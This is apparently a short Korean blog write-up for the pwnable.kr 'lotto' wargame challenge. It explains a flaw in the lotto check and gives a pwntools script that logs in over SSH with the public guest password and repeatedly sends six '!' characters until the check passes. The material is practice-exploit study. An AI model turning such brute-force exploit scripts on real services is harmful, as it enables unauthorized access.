hOwDayS 선린 10720
pwnable.kr lotto 본문
lotto 1~32까지의 아스키코드 값은 보통 사용 을안해서 33인 !부터 된다.
!표를 6개하면 바로 된다.
파이썬으로 포너블은 거의 안해봐서 안해도 되는 걸 하고 있다..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | from pwn import * def solve(): p.sendline("1") p.recv() send_line = '' i=2 while(1): send_line = "!!!!!!" p.sendline(send_line) data = p.recv().rstrip() print('['+str(i)+'] '+send_line) i+=1 if "bad" in data: send_line ='' p.sendline("1") p.recv() else: break s = ssh("lotto","pwnable.kr",port=2222,password="guest") p = s.run("./lotto") p.recv() solve() p.interactive() | cs |
'공부 > pwnable.kr' 카테고리의 다른 글
pwnable.kr simplelogin (0) | 2018.01.20 |
---|---|
pwnable.kr brainfuck (2) | 2018.01.20 |
pwnable asm (0) | 2018.01.12 |
pwnable uaf (0) | 2018.01.11 |
pwnable.kr coin1 (0) | 2018.01.10 |
Comments